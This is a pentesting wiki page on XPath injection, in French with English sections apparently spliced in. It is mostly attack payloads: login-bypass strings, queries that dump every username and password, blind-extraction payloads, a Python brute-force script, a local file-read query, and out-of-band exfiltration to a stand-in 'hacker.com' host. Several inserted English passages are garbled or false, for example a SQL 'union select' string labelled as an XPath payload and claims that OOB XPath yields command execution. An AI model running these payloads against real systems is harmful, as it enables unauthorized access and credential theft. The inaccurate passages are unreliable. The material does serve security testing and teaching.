28 KiB
Injection XPATH
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez The PEASS Family, notre collection exclusive de NFT
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.
HackenProof est la plateforme des primes de bugs cryptographiques.
Obtenez des récompenses sans délai
Les primes HackenProof ne sont lancées que lorsque les clients déposent le budget de récompense. Vous recevrez la récompense après la vérification du bug.
Acquérez de l'expérience en pentest web3
Les protocoles blockchain et les contrats intelligents sont le nouvel Internet ! Maîtrisez la sécurité web3 dès ses débuts.
Devenez une légende du piratage web3
Gagnez des points de réputation avec chaque bug vérifié et conquérez le sommet du classement hebdomadaire.
Inscrivez-vous sur HackenProof commencez à gagner grâce à vos piratages !
{% embed url="https://hackenproof.com/register" %}
Syntaxe de base
L'injection XPATH est une technique d'attaque utilisée pour exploiter les applications qui construisent des requêtes XPath (XML Path Language) à partir d'entrées fournies par l'utilisateur pour interroger ou naviguer dans des documents XML.
Informations sur la façon de faire des requêtes : https://www.w3schools.com/xml/xpath_syntax.asp
Noeuds
| Expression | Description |
|---|---|
| nodename | Sélectionne tous les noeuds avec le nom "nodename" |
| / | Sélectionne à partir du noeud racine |
| // | Sélectionne les noeuds dans le document à partir du noeud courant qui correspondent à la sélection, peu importe où ils se trouvent |
| . | Sélectionne le noeud courant |
| .. | Sélectionne le parent du noeud courant |
| @ | Sélectionne les attributs |
Exemples :
| Expression de chemin | Résultat |
|---|---|
| bookstore | Sélectionne tous les noeuds avec le nom "bookstore" |
| /bookstore | Sélectionne l'élément racine bookstoreNote: Si le chemin commence par un slash ( / ), il représente toujours un chemin absolu vers un élément ! |
| bookstore/book | Sélectionne tous les éléments book qui sont des enfants de bookstore |
| //book | Sélectionne tous les éléments book peu importe où ils se trouvent dans le document |
| bookstore//book | Sélectionne tous les éléments book qui sont des descendants de l'élément bookstore, peu importe où ils se trouvent sous l'élément bookstore |
| //@lang | Sélectionne tous les attributs qui s'appellent lang |
Prédicats
| Expression de chemin | Résultat |
|---|---|
| /bookstore/book[1] | Sélectionne le premier élément book qui est un enfant de l'élément bookstore.Note: Dans IE 5,6,7,8,9, le premier noeud est [0], mais selon le W3C, c'est [1]. Pour résoudre ce problème dans IE, définissez SelectionLanguage sur XPath : En JavaScript : xml.setProperty("SelectionLanguage","XPath"); |
| /bookstore/book[last()] | Sélectionne le dernier élément book qui est un enfant de l'élément bookstore |
| /bookstore/book[last()-1] | Sélectionne l'avant-dernier élément book qui est un enfant de l'élément bookstore |
| /bookstore/book[position()<3] | Sélectionne les deux premiers éléments book qui sont des enfants de l'élément bookstore |
| //title[@lang] | Sélectionne tous les éléments title qui ont un attribut appelé lang |
| //title[@lang='en'] | Sélectionne tous les éléments title qui ont un attribut "lang" avec une valeur de "en" |
| /bookstore/book[price>35.00] | Sélectionne tous les éléments book de l'élément bookstore qui ont un élément price avec une valeur supérieure à 35.00 |
| /bookstore/book[price>35.00]/title | Sélectionne tous les éléments title des éléments book de l'élément bookstore qui ont un élément price avec une valeur supérieure à 35.00 |
Noeuds inconnus
| Jocker | Description |
|---|---|
| * | Correspond à n'importe quel noeud élément |
| @* | Correspond à n'importe quel noeud attribut |
| node() | Correspond à n'importe quel noeud de n'importe quel type |
Exemples:
| Expression de chemin | Résultat |
|---|---|
| /bookstore/* | Sélectionne tous les nœuds élément enfants de l'élément bookstore |
| //* | Sélectionne tous les éléments du document |
| //title[@*] | Sélectionne tous les éléments title qui ont au moins un attribut de tout type |
HackenProof est le lieu de tous les programmes de primes pour les bugs de crypto.
Obtenez une récompense sans délai
Les primes HackenProof sont lancées uniquement lorsque leurs clients déposent le budget de récompense. Vous recevrez la récompense après la vérification du bug.
Acquérez de l'expérience en pentesting web3
Les protocoles blockchain et les contrats intelligents sont le nouvel Internet ! Maîtrisez la sécurité web3 dès ses débuts.
Devenez la légende des hackers web3
Gagnez des points de réputation avec chaque bug vérifié et conquérez le sommet du classement hebdomadaire.
Inscrivez-vous sur HackenProof et commencez à gagner grâce à vos hacks !
{% embed url="https://hackenproof.com/register" %}
Exemple
<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
<name>pepe</name>
<password>peponcio</password>
<account>admin</account>
</user>
<user>
<name>mark</name>
<password>m12345</password>
<account>regular</account>
</user>
<user>
<name>fino</name>
<password>fino2</password>
<account>regular</account>
</user>
</data>
Accéder aux informations
XPath Injection is a technique used to exploit vulnerabilities in web applications that use XPath queries to retrieve data from XML databases. By injecting malicious XPath expressions into user input fields, an attacker can manipulate the query and gain unauthorized access to sensitive information.
To access the information, an attacker needs to identify a vulnerable input field that is used in an XPath query. This can typically be found in search forms, login pages, or any other functionality that involves querying XML data.
Once a vulnerable input field is identified, the attacker can start injecting malicious XPath expressions. These expressions are used to modify the original query and retrieve additional data that was not intended to be exposed.
For example, consider a search form that uses an XPath query to retrieve user information from an XML database. The query may look like this:
//users/user[name='John']
By injecting a malicious expression like ' or 1=1 or ''=', the attacker can modify the query to retrieve all user information:
//users/user[name='John' or 1=1 or ''='']
This modified query will return all user information, regardless of the name specified in the search form.
To prevent XPath Injection attacks, it is important to properly validate and sanitize user input before using it in XPath queries. Input validation should include checking for special characters and ensuring that the input conforms to the expected format.
Additionally, using parameterized XPath queries can help mitigate XPath Injection attacks. Parameterized queries separate the query logic from the user input, making it harder for attackers to manipulate the query.
By understanding and implementing these security measures, developers can protect their web applications from XPath Injection attacks and ensure the confidentiality of sensitive information.
All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name
All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()
Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)
Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"
Identifier et voler le schéma
XPath injection can be used to identify and steal the schema of a web application's database. By injecting malicious XPath queries, an attacker can extract sensitive information about the database structure, such as table names, column names, and data types.
To perform this attack, the attacker needs to identify a vulnerable input field that is used in an XPath query. This can typically be found in search forms, login forms, or any other input field that is used to construct an XPath query.
Once a vulnerable input field is identified, the attacker can start injecting malicious XPath queries to extract the schema information. For example, the following XPath query can be used to retrieve the names of all tables in the database:
' or 1=1 or 'a'='a' union select table_name from information_schema.tables--
By injecting this query into the vulnerable input field, the attacker can retrieve the table names from the database. Similarly, the attacker can modify the query to extract other schema information, such as column names or data types.
It is important to note that XPath injection can only be successful if the application is vulnerable to this type of attack. As a penetration tester, it is crucial to identify and report such vulnerabilities to the application owner, so they can take appropriate measures to secure their application.
and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0
#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
<root>
<a>
<b></b>
</a>
<c>
<d></d>
<e></e>
<f>
<h></h>
</f>
</c>
</root>
and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)
#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
Contournement de l'authentification
Exemple de requêtes :
string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';
Contournement de l'opérateur OR dans l'utilisateur et le mot de passe (même valeur dans les deux)
' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())
Select account
Select the account using the username and use one of the previous values in the password field
Abus de l'injection null
Null injection is a technique used to exploit vulnerabilities in web applications that use XPath queries to retrieve data from XML documents. XPath is a language used to navigate through XML documents and extract specific information.
In a null injection attack, the attacker manipulates the XPath query by injecting a null character (\x00) to bypass input validation and retrieve unintended data. This can lead to unauthorized access to sensitive information or even the execution of arbitrary code.
To perform a null injection attack, the attacker needs to identify a vulnerable input field that is used in an XPath query. The attacker then injects the null character at a strategic point in the input, such as within a string parameter or a comparison operator.
For example, consider the following vulnerable XPath query:
//users/user[name/text()='$username' and password/text()='$password']
To exploit this vulnerability, the attacker can inject a null character after the $username parameter, like this:
//users/user[name/text()='$username\ x00' and password/text()='$password']
This null character effectively terminates the string parameter, causing the XPath query to ignore the rest of the input and retrieve unintended data.
Null injection attacks can be mitigated by implementing proper input validation and sanitization techniques. Developers should also avoid directly concatenating user input into XPath queries and instead use parameterized queries or prepared statements to prevent injection attacks.
By understanding and exploiting null injection vulnerabilities, pentesters can help organizations identify and fix these security flaws, ensuring the protection of sensitive data.
Username: ' or 1]%00
Double OU dans le nom d'utilisateur ou dans le mot de passe (est valide avec seulement 1 champ vulnérable)
IMPORTANT: Remarquez que "et" est la première opération effectuée.
Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())
Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())
Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())
Extraction de chaînes de caractères
La sortie contient des chaînes de caractères et l'utilisateur peut manipuler les valeurs pour effectuer une recherche :
/user/username[contains(., '+VALUE+')]
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users
Exploitation en aveugle
Obtenir la longueur d'une valeur et l'extraire par des comparaisons :
' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"
substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value
Exemple Python
import requests, string
flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30):
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break
Lire un fichier
L'injection XPath est une technique d'attaque utilisée pour extraire des données à partir d'une application Web vulnérable en exploitant les vulnérabilités de l'interrogation XPath. L'interrogation XPath est un langage de requête utilisé pour extraire des informations à partir de documents XML.
Lorsqu'une application Web utilise des entrées utilisateur non filtrées pour construire des requêtes XPath, il est possible d'injecter du code XPath malveillant pour manipuler la requête et extraire des données sensibles. Cela peut se produire lorsque l'application construit dynamiquement une requête XPath en concaténant des chaînes de caractères avec des entrées utilisateur.
Pour exploiter une injection XPath, il est nécessaire de comprendre la structure de la requête XPath utilisée par l'application cible. Cela peut être découvert en analysant le code source de l'application ou en utilisant des outils d'exploration automatisés.
Une fois que la structure de la requête XPath est connue, il est possible d'injecter du code XPath malveillant pour extraire des données spécifiques. Par exemple, en utilisant des opérateurs logiques tels que or et and, il est possible de contourner les mécanismes de filtrage et d'extraire des données sensibles.
Voici un exemple de code XPath malveillant qui pourrait être utilisé pour extraire des informations d'une application vulnérable :
' or 1=1 or ''='
Ce code injecté dans une requête XPath pourrait permettre d'extraire toutes les données de l'application, car il évalue toujours à vrai.
Pour se protéger contre les injections XPath, il est important de filtrer et de valider correctement toutes les entrées utilisateur utilisées dans la construction des requêtes XPath. Il est recommandé d'utiliser des mécanismes de requête paramétrée ou des fonctions de filtrage spécifiques pour éviter les injections XPath.
En résumé, l'injection XPath est une technique d'attaque utilisée pour extraire des données à partir d'une application Web vulnérable en exploitant les vulnérabilités de l'interrogation XPath. Pour se protéger contre cette attaque, il est essentiel de filtrer et de valider correctement toutes les entrées utilisateur utilisées dans la construction des requêtes XPath.
(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127
Exploitation OOB
Out-of-Band (OOB) exploitation is a technique used in XPath injection attacks to extract data from a vulnerable web application. XPath injection occurs when an attacker is able to manipulate an XPath query used by the application to retrieve data from an XML document.
During an OOB exploitation, the attacker crafts a malicious XPath query that includes a request to an external server controlled by the attacker. This request is designed to trigger a response from the server, which can then be used to extract sensitive information from the target application.
The OOB exploitation technique can be used to perform various actions, such as:
-
Data exfiltration: The attacker can extract sensitive data from the target application by including it in the XPath query and capturing the response from the external server.
-
Command execution: By crafting a malicious XPath query, the attacker can execute arbitrary commands on the target system through the external server.
-
Remote file inclusion: The attacker can include remote files in the XPath query, allowing them to read or execute the contents of these files on the target system.
To successfully exploit an XPath injection vulnerability using the OOB technique, the attacker needs to have control over an external server that can receive and process the requests triggered by the malicious XPath query. This server can be set up by the attacker or can be an existing server that the attacker has compromised.
By leveraging the OOB exploitation technique, an attacker can bypass security measures and gain unauthorized access to sensitive information or execute arbitrary commands on the target system. It is important for developers to implement proper input validation and sanitization techniques to prevent XPath injection vulnerabilities and protect against OOB exploitation.
doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))
#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to
Outil automatique
{% embed url="https://xcat.readthedocs.io/" %}
Références
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20injection" %}
HackenProof est la plateforme des primes pour les bugs de cryptographie.
Obtenez des récompenses sans délai
Les primes HackenProof sont lancées uniquement lorsque les clients déposent le budget de récompense. Vous recevrez la récompense après la vérification du bug.
Acquérez de l'expérience en pentesting web3
Les protocoles blockchain et les contrats intelligents sont le nouvel Internet ! Maîtrisez la sécurité web3 dès ses débuts.
Devenez une légende du hacking web3
Gagnez des points de réputation avec chaque bug vérifié et conquérez le sommet du classement hebdomadaire.
Inscrivez-vous sur HackenProof et commencez à gagner grâce à vos hacks !
{% embed url="https://hackenproof.com/register" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Vous travaillez dans une entreprise de cybersécurité ? Vous souhaitez voir votre entreprise annoncée dans HackTricks ? ou souhaitez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez The PEASS Family, notre collection exclusive de NFTs
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de hacking en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.